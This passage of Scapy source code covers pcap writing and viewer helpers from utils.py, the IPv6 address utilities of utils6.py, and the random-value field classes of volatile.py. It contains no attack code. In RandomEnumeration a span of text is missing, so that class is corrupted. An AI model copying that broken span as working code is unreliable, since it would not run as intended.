PcapWriter(RawPcapWriter): def _write_header(self, pkt): if self.linktype == None: if type(pkt) is list or type(pkt) is tuple or isinstance(pkt,BasePacketList): pkt = pkt[0] try: self.linktype = conf.l2types[pkt.__class__] except KeyError: warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)" % pkt.__class__.__name__) self.linktype = 1 RawPcapWriter._write_header(self, pkt) def get_packet_time(self, pkt): """Return the second and micro-second timestamp components for a packet.""" if pkt.sent_time: t = pkt.sent_time sec = int(t) else: t = pkt.time sec = int(t) usec = int(round((t-sec)*1000000)) return (sec,usec) def _write_packet(self, packet): try: t = self.get_packet_time(packet) s = bytes(packet) caplen = len(s) RawPcapWriter._write_packet(self, s, t[0], t[1], caplen, caplen) except Exception as e: log_interactive.error(e) def write(self, pkt): """accepts a either a single packet or a list of packets to be written to the dumpfile """ if not self.header_present: self._write_header(pkt) if isinstance(pkt, BasePacket): self._write_packet(pkt) else: for p in pkt: self._write_packet(p) re_extract_hexcap = re.compile("^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") def import_hexcap(): p = "" try: while 1: l = input().strip() try: p += re_extract_hexcap.match(l).groups()[2] except: warning("Parsing error during hexcap") continue except EOFError: pass p = p.replace(" ","").encode() return codecs.decode(p, 'hex') @conf.commands.register def wireshark(pktlist, *args): """Run wireshark on a list of packets""" fname = get_temp_file() wrpcap(fname, pktlist) subprocess.Popen([conf.prog.wireshark, "-r", fname] + list(args)) @conf.commands.register def tdecode(pkt, *args): """Run tshark to decode and display the packet. If no args defined uses -V""" if not args: args = [ "-V" ] fname = get_temp_file() wrpcap(fname,[pkt]) subprocess.call(["tshark", "-r", fname] + list(args)) @conf.commands.register def hexedit(x): """Run external hex editor on a packet or bytes. Set editor in conf.prog.hexedit""" x = bytes(x) fname = get_temp_file() with open(fname,"wb") as f: f.write(x) subprocess.call([conf.prog.hexedit, fname]) with open(fname, "rb") as f: x = f.read() return x def __make_table(yfmtfunc, fmtfunc, endline, items, fxyz, sortx=None, sorty=None, seplinefunc=None): vx = {} vy = {} vz = {} vxf = {} vyf = {} max_length = 0 for record in items: xx,yy,zz = map(str, fxyz(record[0], record[1])) max_length = max(len(yy),max_length) vx[xx] = max(vx.get(xx,0), len(xx), len(zz)) vy[yy] = None vz[(xx,yy)] = zz vxk = list(vx.keys()) vyk = list(vy.keys()) if sortx: vxk.sort(sortx) else: try: vxk.sort(key = lambda x: atol(x)) except: vxk.sort() if sorty: vyk.sort(sorty) else: try: vyk.sort(key = lambda x: atol(x)) except: vyk.sort() if seplinefunc: sepline = seplinefunc(max_length, [vx[x] for x in vxk]) print(sepline) fmt = yfmtfunc(max_length) print(fmt % "", end = " ") for x in vxk: vxf[x] = fmtfunc(vx[x]) print(vxf[x] % x, end = " ") print(endline) if seplinefunc: print(sepline) for y in vyk: print(fmt % y, end = " ") for x in vxk: print(vxf[x] % vz.get((x,y), "-"), end = " ") print(endline) if seplinefunc: print(sepline) def make_table(*args, **kargs): __make_table(lambda l:"%%-%is" % l, lambda l:"%%-%is" % l, "", *args, **kargs) def make_lined_table(*args, **kargs): __make_table(lambda l:"%%-%is |" % l, lambda l:"%%-%is |" % l, "", seplinefunc=lambda max_length,x:"+".join([ "-"*(y+2) for y in [max_length-1]+x+[-2]]), *args, **kargs) def make_tex_table(*args, **kargs): __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a,x:"\\hline", *args, **kargs) scapy-0.23/scapy/utils6.py000066400000000000000000000667551320561231000155100ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Utility functions for IPv6. """ import itertools from .config import conf from .data import * from .utils import * def cmp_to_key(mycmp): 'Convert a cmp= function into a key= function' class K(object): def __init__(self, obj, *args): self.obj = obj def __lt__(self, other): return mycmp(self.obj, other.obj) < 0 def __gt__(self, other): return mycmp(self.obj, other.obj) > 0 def __eq__(self, other): return mycmp(self.obj, other.obj) == 0 def __le__(self, other): return mycmp(self.obj, other.obj) <= 0 def __ge__(self, other): return mycmp(self.obj, other.obj) >= 0 def __ne__(self, other): return mycmp(self.obj, other.obj) != 0 return K def construct_source_candidate_set(addr, plen, laddr, loname): """ Given all addresses assigned to a specific interface ('laddr' parameter), this function returns the "candidate set" associated with 'addr/plen'. Basically, the function filters all interface addresses to keep only those that have the same scope as provided prefix. This is on this list of addresses that the source selection mechanism will then be performed to select the best source address associated with some specific destination that uses this prefix. """ def cset_sort(x,y): x_global = 0 if in6_isgladdr(x): x_global = 1 y_global = 0 if in6_isgladdr(y): y_global = 1 res = y_global - x_global if res != 0 or y_global != 1: return res # two global addresses: if one is native, it wins. if not in6_isaddr6to4(x): return -1; return -res cset = [] if in6_isgladdr(addr) or in6_isuladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_GLOBAL ] elif in6_islladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL ] elif in6_issladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL ] elif in6_ismaddr(addr): if in6_ismnladdr(addr): cset = [('::1', 16, loname)] elif in6_ismgladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_GLOBAL ] elif in6_ismlladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL ] elif in6_ismsladdr(addr): cset = [ x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL ] elif addr == '::' and plen == 0: cset = [ x for x in laddr if x[1] == IPV6_ADDR_GLOBAL ] cset = [ x[0] for x in cset ] cset.sort(key = cmp_to_key(cset_sort)) # Sort with global addresses first return cset def get_source_addr_from_candidate_set(dst, candidate_set): """ This function implement a limited version of source address selection algorithm defined in section 5 of RFC 3484. The format is very different from that described in the document because it operates on a set of candidate source address for some specific route. """ def scope_cmp(a, b): """ Given two addresses, returns -1, 0 or 1 based on comparison of their scope """ scope_mapper = {IPV6_ADDR_GLOBAL: 4, IPV6_ADDR_SITELOCAL: 3, IPV6_ADDR_LINKLOCAL: 2, IPV6_ADDR_LOOPBACK: 1} sa = in6_getscope(a) if sa == -1: sa = IPV6_ADDR_LOOPBACK sb = in6_getscope(b) if sb == -1: sb = IPV6_ADDR_LOOPBACK sa = scope_mapper[sa] sb = scope_mapper[sb] if sa == sb: return 0 if sa > sb: return 1 return -1 def rfc3484_cmp(source_a, source_b): """ The function implements a limited version of the rules from Source Address selection algorithm defined section of RFC 3484. """ # Rule 1: Prefer same address if source_a == dst: return 1 if source_b == dst: return 1 # Rule 2: Prefer appropriate scope tmp = scope_cmp(source_a, source_b) if tmp == -1: if scope_cmp(source_a, dst) == -1: return 1 else: return -1 elif tmp == 1: if scope_cmp(source_b, dst) == -1: return 1 else: return -1 # Rule 3: cannot be easily implemented # Rule 4: cannot be easily implemented # Rule 5: does not make sense here # Rule 6: cannot be implemented # Rule 7: cannot be implemented # Rule 8: Longest prefix match tmp1 = in6_get_common_plen(source_a, dst) tmp2 = in6_get_common_plen(source_b, dst) if tmp1 > tmp2: return 1 elif tmp2 > tmp1: return -1 return 0 if not candidate_set: # Should not happen return None candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True) return candidate_set[0] def find_ifaddr2(addr, plen, laddr): dstAddrType = in6_getAddrType(addr) if dstAddrType == IPV6_ADDR_UNSPECIFIED: # Shouldn't happen as dst addr return None if dstAddrType == IPV6_ADDR_LOOPBACK: return None #tmp = [[]] + map(lambda (x,y,z): (in6_getAddrType(x), x, y, z), laddr) tmp = [[]] + map(lambda a: (in6_getAddrType(a[0]), a[0], a[1], a[2]), laddr) #def filterSameScope(l, t): # if (t[0] & dstAddrType & IPV6_ADDR_SCOPE_MASK) == 0: # l.append(t) # return l #sameScope = reduce(filterSameScope, tmp) sameScope = itertools.chain(*[ t for t in tmp if (t[0] & dstAddrType & IPV6_ADDR_SCOPE_MASK) == 0 ]) l = len(sameScope) if l == 1: # Only one address for our scope return sameScope[0][1] elif l > 1: # Muliple addresses for our scope #stfAddr = filter(lambda x: x[0] & IPV6_ADDR_6TO4, sameScope) stfAddr = [ x for x in sameScope if x[0] & IPV6_ADDR_6TO4 ] #nativeAddr = filter(lambda x: not (x[0] & IPV6_ADDR_6TO4), sameScope) nativeAddr = [ x for x in sameScope if not (x[0] & IPV6_ADDR_6TO4) ] if not (dstAddrType & IPV6_ADDR_6TO4): # destination is not 6to4 if len(nativeAddr) != 0: return nativeAddr[0][1] return stfAddr[0][1] else: # Destination is 6to4, try to use source 6to4 addr if any if len(stfAddr) != 0: return stfAddr[0][1] return nativeAddr[0][1] else: return None # Think before modify it : for instance, FE::1 does exist and is unicast # there are many others like that. # TODO : integrate Unique Local Addresses def in6_getAddrType(addr): naddr = inet_pton(socket.AF_INET6, addr) paddr = inet_ntop(socket.AF_INET6, naddr) # normalize addrType = 0 # _Assignable_ Global Unicast Address space # is defined in RFC 3513 as those in 2000::/3 #if ((struct.unpack("B", naddr[0])[0] & 0xE0) == 0x20): if (((naddr[0]) & 0xE0) == 0x20): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) if naddr[:2] == b' \x02': # Mark 6to4 @ addrType |= IPV6_ADDR_6TO4 elif naddr[0] == 0xff: # multicast addrScope = paddr[3] if addrScope == '2': addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) elif addrScope == 'e': addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) else: addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) elif ((naddr[0] == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) elif paddr == "::1": addrType = IPV6_ADDR_LOOPBACK elif paddr == "::": addrType = IPV6_ADDR_UNSPECIFIED else: # Everything else is global unicast (RFC 3513) # Even old deprecated (RFC3879) Site-Local addresses addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) return addrType def in6_mactoifaceid(mac, ulbit=None): """ Compute the interface ID in modified EUI-64 format associated to the Ethernet address provided as input. value taken by U/L bit in the interface identifier is basically the reversed value of that in given MAC address it can be forced to a specific value by using optional 'ulbit' parameter. """ if len(mac) != 17: return None m = "".join(mac.split(':')) if len(m) != 12: return None first = int(m[0:2], 16) if ulbit is None or not (ulbit == 0 or ulbit == 1): ulbit = [1,'-',0][first & 0x02] ulbit *= 2 first = "%.02x" % ((first & 0xFD) | ulbit) eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] return eui64.upper() def in6_ifaceidtomac(ifaceid): # TODO: finish commenting function behavior """ Extract the mac address from provided iface ID. Iface ID is provided in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None is returned on error. """ try: ifaceid = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:16] except: return None if ifaceid[3:5] != b'\xff\xfe': return None first = struct.unpack("B", ifaceid[:1])[0] ulbit = 2*[1,'-',0][first & 0x02] first = struct.pack("B", ((first & 0xFD) | ulbit)) oui = first + ifaceid[1:3] end = ifaceid[5:] #l = map(lambda x: "%.02x" % struct.unpack("B", x)[0], list(oui+end)) l = map(lambda x: "%.02x" % x, list(oui+end)) return ":".join(l) def in6_addrtomac(addr): """ Extract the mac address from provided address. None is returned on error. """ mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) ifaceid = inet_ntop(socket.AF_INET6, x)[2:] return in6_ifaceidtomac(ifaceid) def in6_addrtovendor(addr): """ Extract the MAC address from a modified EUI-64 constructed IPv6 address provided and use the IANA oui.txt file to get the vendor. The database used for the conversion is the one loaded by Scapy, based on Wireshark (/usr/share/wireshark/wireshark/manuf) None is returned on error, "UNKNOWN" if the vendor is unknown. """ mac = in6_addrtomac(addr) if mac is None: return None res = conf.manufdb._get_manuf(mac) if len(res) == 17 and res.count(b':') != 5: # Mac address, i.e. unknown res = "UNKNOWN" return res def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): """ Generate a Link-Scoped Multicast Address as described in RFC 4489. Returned value is in printable notation. 'addr' parameter specifies the link-local address to use for generating Link-scoped multicast address IID. By default, the function returns a ::/96 prefix (aka last 32 bits of returned address are null). If a group id is provided through 'grpid' parameter, last 32 bits of the address are set to that value (accepted formats : '\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). By default, generated address scope is Link-Local (2). That value can be modified by passing a specific 'scope' value as an argument of the function. RFC 4489 only authorizes scope values <= 2. Enforcement is performed by the function (None will be returned). If no link-local address can be used to generate the Link-Scoped IPv6 Multicast address, or if another error occurs, None is returned. """ if not scope in [0, 1, 2]: return None try: if not in6_islladdr(addr): return None addr = inet_pton(socket.AF_INET6, addr) except: warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") return None iid = addr[8:] if grpid is None: grpid = b'\x00\x00\x00\x00' else: if type(grpid) is str: grpid = grpid.encode('ascii') if type(grpid) is bytes: if len(grpid) == 8: try: grpid = int(grpid, 16) & 0xffffffff except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None elif len(grpid) == 4: try: grpid = struct.unpack("!I", grpid)[0] except: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") return None grpid = struct.pack("!I", grpid) flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) plen = b'\xff' res = b'\x00' a = b'\xff' + flgscope + res + plen + iid + grpid return inet_ntop(socket.AF_INET6, a) def in6_get6to4Prefix(addr): """ Returns the /48 6to4 prefix associated with provided IPv4 address On error, None is returned. No check is performed on public/private status of the address """ try: addr = inet_pton(socket.AF_INET, addr) addr = inet_ntop(socket.AF_INET6, b'\x20\x02'+addr+b'\x00'*10) except: return None return addr def in6_6to4ExtractAddr(addr): """ Extract IPv4 address embbeded in 6to4 address. Passed address must be a 6to4 addrees. None is returned on error. """ try: addr = inet_pton(socket.AF_INET6, addr) except: return None if addr[:2] != b" \x02": return None return inet_ntop(socket.AF_INET, addr[2:6]) def in6_getLocalUniquePrefix(): """ Returns a pseudo-randomly generated Local Unique prefix. Function follows recommandation of Section 3.2.2 of RFC 4193 for prefix generation. """ # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) # x = time.time() # from time import gmtime, strftime, gmtime, mktime # delta = mktime(gmtime(0)) - mktime(self.epoch) # x = x-delta tod = time.time() # time of day. Will bother with epoch later i = int(tod) j = int((tod - i)*(2**32)) tod = struct.pack("!II", i,j) # TODO: Add some check regarding system address gathering rawmac = get_if_raw_hwaddr(conf.iface6) mac = b":".join(map(lambda x: b"%.02x" % ord(x), list(rawmac))) # construct modified EUI-64 ID eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] import sha globalid = sha.new(tod+eui64).digest()[:5] return inet_ntop(socket.AF_INET6, b'\xfd' + globalid + b'\x00'*10) def in6_getRandomizedIfaceId(ifaceid, previous=None): """ Implements the interface ID generation algorithm described in RFC 3041. The function takes the Modified EUI-64 interface identifier generated as described in RFC 4291 and an optional previous history value (the first element of the output of this function). If no previous interface identifier is provided, a random one is generated. The function returns a tuple containing the randomized interface identifier and the history value (for possible future use). Input and output values are provided in a "printable" format as depicted below. ex: >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') """ s = [] if previous is None: #d = b"".join(map(chr, range(256))) d = list(range(256)) for i in range(8): s.append(random.choice(d)) s = bytes(s) previous = s s = inet_pton(socket.AF_INET6, "::"+ifaceid)[8:] + previous import hashlib s = hashlib.md5(s).digest() s1,s2 = s[:8],s[8:] s1 = bytes([(s1[0]) | 0x04]) + s1[1:] s1 = inet_ntop(socket.AF_INET6, b"\xff"*8 + s1)[20:] s2 = inet_ntop(socket.AF_INET6, b"\xff"*8 + s2)[20:] return (s1, s2) _rfc1924map = [ '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E', 'F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T', 'U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i', 'j','k','l','m','n','o','p','q','r','s','t','u','v','w','x', 'y','z','!','#','$','%','&','(',')','*','+','-',';','<','=', '>','?','@','^','_','`','{','|','}','~' ] def in6_ctop(addr): """ Convert an IPv6 address in Compact Representation Notation (RFC 1924) to printable representation ;-) Returns None on error. """ #if len(addr) != 20 or not reduce(lambda x,y: x and y, map(lambda x: x in _rfc1924map, addr)): if len(addr) != 20 or not all(map(lambda x: x in _rfc1924map, addr)): return None i = 0 for c in addr: j = _rfc1924map.index(c) i = 85*i + j res = [] for j in range(4): res.append(struct.pack("!I", i%2**32)) i = i//(2**32) res.reverse() return inet_ntop(socket.AF_INET6, b"".join(res)) def in6_ptoc(addr): """ Converts an IPv6 address in printable representation to RFC 1924 Compact Representation ;-) Returns None on error. """ try: d=struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) except: return None res = 0 m = [2**96, 2**64, 2**32, 1] for i in range(4): res += d[i]*m[i] rem = res res = [] while rem: res.append(_rfc1924map[rem%85]) rem = rem//85 res.reverse() return "".join(res) def in6_isaddr6to4(x): """ Return True if provided address (in printable format) is a 6to4 address (being in 2002::/16). """ x = inet_pton(socket.AF_INET6, x) return x[:2] == b' \x02' conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) conf.teredoServerPort = 3544 def in6_isaddrTeredo(x): """ Return True if provided address is a Teredo, meaning it is under the /32 conf.teredoPrefix prefix value (by default, 2001::). Otherwise, False is returned. Address must be passed in printable format. """ our = inet_pton(socket.AF_INET6, x)[0:4] teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] return teredoPrefix == our def teredoAddrExtractInfo(x): """ Extract information from a Teredo address. Return value is a 4-tuple made of IPv4 address of Teredo server, flag value (int), mapped address (non obfuscated) and mapped port (non obfuscated). No specific checks are performed on passed address. """ addr = inet_pton(socket.AF_INET6, x) server = inet_ntop(socket.AF_INET, addr[4:8]) flag = struct.unpack("!H",addr[8:10])[0] mappedport = struct.unpack("!H",strxor(addr[10:12],b'\xff'*2))[0] mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16],b'\xff'*4)) return server, flag, mappedaddr, mappedport def in6_iseui64(x): """ Return True if provided address has an interface identifier part created in modified EUI-64 format (meaning it matches *::*:*ff:fe*:*). Otherwise, False is returned. Address must be passed in printable format. """ eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') x = in6_and(inet_pton(socket.AF_INET6, x), eui64) return x == eui64 def in6_isanycast(x): # RFC 2526 if in6_iseui64(x): s = '::fdff:ffff:ffff:ff80' packed_x = inet_pton(socket.AF_INET6, x) packed_s = inet_pton(socket.AF_INET6, s) x_and_s = in6_and(packed_x, packed_s) return x_and_s == packed_s else: # not EUI-64 #| n bits | 121-n bits | 7 bits | #+---------------------------------+------------------+------------+ #| subnet prefix | 1111111...111111 | anycast ID | #+---------------------------------+------------------+------------+ # | interface identifier field | warning('in6_isanycast(): TODO not EUI-64') return 0 def _in6_bitops(a1, a2, operator=0): a1 = struct.unpack('4I', a1) a2 = struct.unpack('4I', a2) fop = [ lambda x,y: x | y, lambda x,y: x & y, lambda x,y: x ^ y ] ret = map(fop[operator%len(fop)], a1, a2) t = b''.join(map(lambda x: struct.pack('I', x), ret)) return t def in6_or(a1, a2): """ Provides a bit to bit OR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 0) def in6_and(a1, a2): """ Provides a bit to bit AND of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 1) def in6_xor(a1, a2): """ Provides a bit to bit XOR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 2) def in6_cidr2mask(m): """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 48, return value is '\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. """ if m > 128 or m < 0: raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) t = [] for i in range(0, 4): t.append(max(0, 2**32 - 2**(32-min(32, m)))) m -= 32 return b"".join([ struct.pack('!I', i) for i in t ]) def in6_getnsma(a): """ Return link-local solicited-node multicast address for given address. Passed address must be provided in network format. Returned value is also in network format. """ r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) return r def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination """ Return the multicast mac address associated with provided IPv6 address. Passed address must be in network format. """ a = struct.unpack('16B', a)[-4:] mac = '33:33:' mac += (':'.join(map(lambda x: '%.2x' %x, a))) return mac def in6_getha(prefix): """ Return the anycast address associated with all home agents on a given subnet. """ r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) return inet_ntop(socket.AF_INET6, r) def in6_ptop(s): """ Normalizes IPv6 addresses provided in printable format, returning the same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) """ return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, s)) def in6_isincluded(addr, prefix, plen): """ Returns True when 'addr' belongs to prefix/plen. False otherwise. """ temp = inet_pton(socket.AF_INET6, addr) pref = in6_cidr2mask(plen) zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) def in6_isdocaddr(s): """ Returns True if provided address in printable format belongs to 2001:db8::/32 address space reserved for documentation (as defined in RFC 3849). """ return in6_isincluded(s, '2001:db8::', 32) def in6_islladdr(s): """ Returns True if provided address in printable format belongs to _allocated_ link-local unicast address space (fe80::/10) """ return in6_isincluded(s, 'fe80::', 10) def in6_issladdr(s): """ Returns True if provided address in printable format belongs to _allocated_ site-local address space (fec0::/10). This prefix has been deprecated, address being now reserved by IANA. Function will remain for historic reasons. """ return in6_isincluded(s, 'fec0::', 10) def in6_isuladdr(s): """ Returns True if provided address in printable format belongs to Unique local address space (fc00::/7). """ return in6_isincluded(s, 'fc00::', 7) # TODO : we should see the status of Unique Local addresses against # global address space. # Up-to-date information is available through RFC 3587. # We should review function behavior based on its content. def in6_isgladdr(s): """ Returns True if provided address in printable format belongs to _allocated_ global address space (2000::/3). Please note that, Unique Local addresses (FC00::/7) are not part of global address space, and won't match. """ return in6_isincluded(s, '2000::', 3) def in6_ismaddr(s): """ Returns True if provided address in printable format belongs to allocated Multicast address space (ff00::/8). """ return in6_isincluded(s, 'ff00::', 8) def in6_ismnladdr(s): """ Returns True if address belongs to node-local multicast address space (ff01::/16) as defined in RFC """ return in6_isincluded(s, 'ff01::', 16) def in6_ismgladdr(s): """ Returns True if address belongs to global multicast address space (ff0e::/16). """ return in6_isincluded(s, 'ff0e::', 16) def in6_ismlladdr(s): """ Returns True if address belongs to link-local multicast address space (ff02::/16) """ return in6_isincluded(s, 'ff02::', 16) def in6_ismsladdr(s): """ Returns True if address belongs to site-local multicast address space (ff05::/16). Site local address space has been deprecated. Function remains for historic reasons. """ return in6_isincluded(s, 'ff05::', 16) def in6_isaddrllallnodes(s): """ Returns True if address is the link-local all-nodes multicast address (ff02::1). """ return (inet_pton(socket.AF_INET6, "ff02::1") == inet_pton(socket.AF_INET6, s)) def in6_isaddrllallservers(s): """ Returns True if address is the link-local all-servers multicast address (ff02::2). """ return (inet_pton(socket.AF_INET6, "ff02::2") == inet_pton(socket.AF_INET6, s)) def in6_getscope(addr): """ Returns the scope of the address. """ if in6_isgladdr(addr) or in6_isuladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_islladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_issladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismaddr(addr): if in6_ismgladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_ismlladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_ismsladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismnladdr(addr): scope = IPV6_ADDR_LOOPBACK else: scope = -1 elif addr == '::1': scope = IPV6_ADDR_LOOPBACK else: scope = -1 return scope def in6_get_common_plen(a, b): """ Return common prefix length of IPv6 addresses a and b. """ def matching_bits(byte1, byte2): for i in range(8): cur_mask = 0x80 >> i if (byte1 & cur_mask) != (byte2 & cur_mask): return i return 8 tmpA = inet_pton(socket.AF_INET6, a) tmpB = inet_pton(socket.AF_INET6, b) for i in range(16): #mbits = matching_bits(ord(tmpA[i]), ord(tmpB[i])) mbits = matching_bits((tmpA[i]), (tmpB[i])) if mbits != 8: return 8*i + mbits return 128 scapy-0.23/scapy/volatile.py000066400000000000000000000533251320561231000160660ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields that hold random numbers. """ import random,time,math from .base_classes import Net from .utils import corrupt_bits,corrupt_bytes #################### ## Random numbers ## #################### class RandomEnumeration: """iterate through a sequence in random order. When all the values have been drawn, if forever=1, the drawing is done again. If renewkeys=0, the draw will be in the same order, guaranteeing that the same number will be drawn in not less than the number of integers of the sequence""" def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): self.forever = forever self.renewkeys = renewkeys self.inf = inf self.rnd = random.Random(seed) self.sbox_size = 256 self.top = sup-inf+1 n=0 while (1<>= self.fs lsb ^= self.sbox[ct%self.sbox_size] ct |= lsb << (self.n-self.fs) if ct < self.top: return self.inf+ct self.i = 0 if not self.forever: raise StopIteration class _MetaVolatile(type): def __init__(cls, name, bases, dct): def special_gen(special_method): def special_wrapper(self): return getattr(getattr(self, "_fix")(), special_method) return special_wrapper #This is from scapy2 code. Usage places should be identified and fixed as there is no more __cmp__ in python3 # if attr == "__cmp__": # x = self._fix() # def cmp2(y,x=x): # if type(x) != type(y): # return -1 # return x.__cmp__(y) # return cmp2 type.__init__(cls, name, bases, dct) for i in ["__int__", "__repr__", "__str__", "__index__", "__add__", "__radd__", "__bytes__","__mul__","__rmul__"]: setattr(cls, i, property(special_gen(i))) class VolatileValue(metaclass = _MetaVolatile): def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): if attr == "__setstate__": raise AttributeError("__setstate__") return getattr(self._fix(),attr) def _fix(self): return None class RandField(VolatileValue): pass class RandNum(RandField): """Instances evaluate to random integers in selected range""" min = 0 max = 0 def __init__(self, min, max): self.min = min self.max = max def _fix(self): return random.randrange(self.min, self.max+1) class RandNumGamma(RandField): def __init__(self, alpha, beta): self.alpha = alpha self.beta = beta def _fix(self): return int(round(random.gammavariate(self.alpha, self.beta))) class RandNumGauss(RandField): def __init__(self, mu, sigma): self.mu = mu self.sigma = sigma def _fix(self): return int(round(random.gauss(self.mu, self.sigma))) class RandNumExpo(RandField): def __init__(self, lambd, base=0): self.lambd = lambd self.base = base def _fix(self): return self.base+int(round(random.expovariate(self.lambd))) class RandEnum(RandNum): """Instances evaluate to integer sampling without replacement from the given interval""" def __init__(self, min, max): self.seq = RandomEnumeration(min,max) def _fix(self): return next(self.seq) class RandByte(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**8-1) class RandSByte(RandNum): def __init__(self): RandNum.__init__(self, -2**7, 2**7-1) class RandShort(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**16-1) class RandSShort(RandNum): def __init__(self): RandNum.__init__(self, -2**15, 2**15-1) class RandInt(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**32-1) class RandSInt(RandNum): def __init__(self): RandNum.__init__(self, -2**31, 2**31-1) class RandLong(RandNum): def __init__(self): RandNum.__init__(self, 0, 2**64-1) class RandSLong(RandNum): def __init__(self): RandNum.__init__(self, -2**63, 2**63-1) class RandEnumByte(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**8-1) class RandEnumSByte(RandEnum): def __init__(self): RandEnum.__init__(self, -2**7, 2**7-1) class RandEnumShort(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**16-1) class RandEnumSShort(RandEnum): def __init__(self): RandEnum.__init__(self, -2**15, 2**15-1) class RandEnumInt(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**32-1) class RandEnumSInt(RandEnum): def __init__(self): RandEnum.__init__(self, -2**31, 2**31-1) class RandEnumLong(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2**64-1) class RandEnumSLong(RandEnum): def __init__(self): RandEnum.__init__(self, -2**63, 2**63-1) class RandChoice(RandField): def __init__(self, *args): if not args: raise TypeError("RandChoice needs at least one choice") self._choice = args def _fix(self): return random.choice(self._choice) class RandString(RandField): def __init__(self, size=None, chars=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _fix(self): s = [] for i in range(self.size): s.append(random.choice(self.chars)) return bytes(s) class RandStringTerm(RandString): def __init__(self, size, term = b''): RandString.__init__(self, size) self.term = term def _fix(self): return RandString._fix(self) + self.term class RandBin(RandString): def __init__(self, size=None): #RandString.__init__(self, size, 